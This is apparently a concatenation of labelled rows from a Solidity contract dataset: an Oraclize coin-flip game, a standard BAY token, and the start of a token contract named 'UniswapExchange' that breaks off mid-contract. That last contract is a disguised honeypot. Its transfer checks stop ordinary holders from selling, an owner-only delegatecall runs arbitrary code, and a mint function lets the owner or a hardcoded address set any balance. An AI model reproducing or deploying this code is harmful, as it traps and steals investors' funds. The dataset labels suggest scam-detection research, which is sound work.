function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
sessionKeyHash_bytes32;
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
from;
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
hash;
r;
v;
s;
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract token { function transfer(address receiver, uint amount){ receiver; amount; } }
contract EtherFlip is usingOraclize {
modifier ownerAction {
if (msg.sender != owner) throw;
_;
}
modifier oraclizeAction {
if (msg.sender != oraclize_cbAddress()) throw;
_;
}
event newRandomValue(bytes, address, uint);
event proofFailed(bool);
token public flipTokenReward;
token public millionDollarTokenReward;
token public jackpotToken;
token public sponsoredJackpotToken;
token public bonusToken;
token public sponsoredBonusToken;
address public owner;
uint public generatedBytes;
uint public maxBet;
uint public minBet;
uint public oraclizeFee;
uint public flipRewardAmount;
uint public mdtRewardAmount;
uint public jackpotAmount;
uint public sponsoredJackpotAmount;
uint public bonusAmount;
uint public sponsoredBonusAmount;
uint public callbackGas;
uint public incrementFee;
uint public incrementDivisor;
uint public baseComparable;
uint public jackpotHit;
uint public sponsoredJackpotMin;
uint public sponsoredJackpotMax;
uint public bonusMin;
uint public bonusMax;
uint public sponsoredBonusMin;
uint public sponsoredBonusMax;
uint public mdtComparable;
mapping (bytes32 => address) playerAddress;
mapping (bytes32 => uint) playerAmount;
function EtherFlip() {
owner = msg.sender;
oraclize_setProof(proofType_Ledger);
}
function () payable {
if (msg.sender != owner) {
if (msg.value > maxBet || msg.value < minBet) throw;
oraclize_setProof(proofType_Ledger);
uint numberOfBytes = 2;
uint delay = 0;
bytes32 queryId = oraclize_newRandomDSQuery(delay, numberOfBytes, callbackGas);
playerAddress[queryId] = msg.sender;
playerAmount[queryId] = msg.value;
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) oraclizeAction {
uint amount = playerAmount[_queryId];
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
proofFailed(true);
playerAddress[_queryId].transfer(amount);
delete playerAddress[_queryId];
delete playerAmount[_queryId];
} else {
newRandomValue(bytes(_result), playerAddress[_queryId], amount);
generatedBytes = uint(sha3(_result)) % 2**(2 *8);
uint feeMultiple = amount / incrementDivisor;
uint eFee = (feeMultiple - 3) * incrementFee;
if (generatedBytes < baseComparable) {
playerAddress[_queryId].transfer((amount - oraclizeFee - eFee) * 2);
}
if (generatedBytes >= baseComparable && flipRewardAmount > 0) {
flipTokenReward.transfer(playerAddress[_queryId], flipRewardAmount * feeMultiple);
}
if (generatedBytes >= mdtComparable && mdtRewardAmount > 0) {
millionDollarTokenReward.transfer(playerAddress[_queryId], mdtRewardAmount);
}
if (generatedBytes == jackpotHit && amount == maxBet) {
jackpotToken.transfer(playerAddress[_queryId], jackpotAmount);
}
if (generatedBytes >= sponsoredJackpotMin && generatedBytes <= sponsoredJackpotMax) {
sponsoredJackpotToken.transfer(playerAddress[_queryId], sponsoredJackpotAmount);
}
if (generatedBytes >= bonusMin && generatedBytes <= bonusMax) {
bonusToken.transfer(playerAddress[_queryId], bonusAmount);
}
if (generatedBytes >= sponsoredBonusMin && generatedBytes <= sponsoredBonusMax) {
sponsoredBonusToken.transfer(playerAddress[_queryId], sponsoredBonusAmount);
}
delete playerAddress[_queryId];
delete playerAmount[_queryId];
}
}
function updateMaxMinComparables(uint updatedMaxBet, uint updatedMinBet, uint updatedBaseComparable, uint updatedMDTComparable) ownerAction {
maxBet = updatedMaxBet * 1 wei;
minBet = updatedMinBet * 1 wei;
baseComparable = updatedBaseComparable;
mdtComparable = updatedMDTComparable;
}
function updateOwner(address updatedOwner) ownerAction {
owner = updatedOwner;
}
function updateFlipAndMDT(address updatedFlipToken, uint updatedFlipRewardAmount, address updatedMDTToken, uint updatedMDTRewardAmount) ownerAction {
millionDollarTokenReward = token(updatedMDTToken);
mdtRewardAmount = updatedMDTRewardAmount;
flipTokenReward = token(updatedFlipToken);
flipRewardAmount = updatedFlipRewardAmount;
}
function refundTransfer(address outboundAddress, uint amount) ownerAction {
outboundAddress.transfer(amount);
}
function walletSend(address tokenAddress, uint amount, address outboundAddress) ownerAction {
token chosenToken = token(tokenAddress);
chosenToken.transfer(outboundAddress, amount);
}
function updateGameSpecifics(uint newGas, uint newOraclizeFee, uint newFee, uint newDivisor) ownerAction {
callbackGas = newGas;
oraclizeFee = newOraclizeFee;
incrementFee = (newFee * 1 wei);
incrementDivisor = (newDivisor * 1 wei);
}
function setJackpotToken(address newJackpotToken, uint newJackpotAmount, uint newJackpotHit, address newSponsoredJackpotToken, uint newSponsoredJackpotAmount, uint newSJackpotMin, uint newSJackpotMax) ownerAction {
jackpotToken = token(newJackpotToken);
jackpotAmount = newJackpotAmount;
jackpotHit = newJackpotHit;
sponsoredJackpotToken = token(newSponsoredJackpotToken);
sponsoredJackpotAmount = newSponsoredJackpotAmount;
sponsoredJackpotMin = newSJackpotMin;
sponsoredJackpotMax = newSJackpotMax;
}
function setBonusToken(address newBonusToken, uint newBonusAmount, uint newBonusMin, uint newBonusMax, address newSponsoredBonusToken, uint newSponsoredBonusAmount, uint newSBonusMin, uint newSBonusMax) ownerAction {
bonusToken = token(newBonusToken);
bonusAmount = newBonusAmount;
bonusMin = newBonusMin;
bonusMax = newBonusMax;
sponsoredBonusToken = token(newSponsoredBonusToken);
sponsoredBonusAmount = newSponsoredBonusAmount;
sponsoredBonusMin = newSBonusMin;
sponsoredBonusMax = newSBonusMax;
}
} | 0 | 2,557 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
address public distributionContract;
bool distributionContractAdded;
bool public paused = false;
function addDistributionContract(address _contract) external {
require(_contract != address(0));
require(distributionContractAdded == false);
distributionContract = _contract;
distributionContractAdded = true;
}
modifier whenNotPaused() {
if(msg.sender != distributionContract) {
require(!paused);
}
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FreezableToken is StandardToken, Ownable {
mapping (address => bool) public frozenAccounts;
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target) public onlyOwner {
frozenAccounts[target] = true;
emit FrozenFunds(target, true);
}
function unFreezeAccount(address target) public onlyOwner {
frozenAccounts[target] = false;
emit FrozenFunds(target, false);
}
function frozen(address _target) constant public returns (bool){
return frozenAccounts[_target];
}
modifier canTransfer(address _sender) {
require(!frozenAccounts[_sender]);
_;
}
function transfer(address _to, uint256 _value) public canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract TimeLockToken is StandardToken, Ownable {
mapping (address => uint) public timelockAccounts;
event TimeLockFunds(address target, uint releasetime);
function timelockAccount(address target, uint releasetime) public onlyOwner {
uint r_time;
r_time = now + (releasetime * 1 days);
timelockAccounts[target] = r_time;
emit TimeLockFunds(target, r_time);
}
function timeunlockAccount(address target) public onlyOwner {
timelockAccounts[target] = now;
emit TimeLockFunds(target, now);
}
function releasetime(address _target) constant public returns (uint){
return timelockAccounts[_target];
}
modifier ReleaseTimeTransfer(address _sender) {
require(now >= timelockAccounts[_sender]);
_;
}
function transfer(address _to, uint256 _value) public ReleaseTimeTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public ReleaseTimeTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract BitOnBayToken is TimeLockToken, FreezableToken, PausableToken, BurnableToken {
string public constant name = "BitOnBayToken";
string public constant symbol = "BAY";
uint public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 250000000 * (10 ** decimals);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
emit Transfer(0x0, msg.sender, totalSupply_);
}
} | 1 | 3,183 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
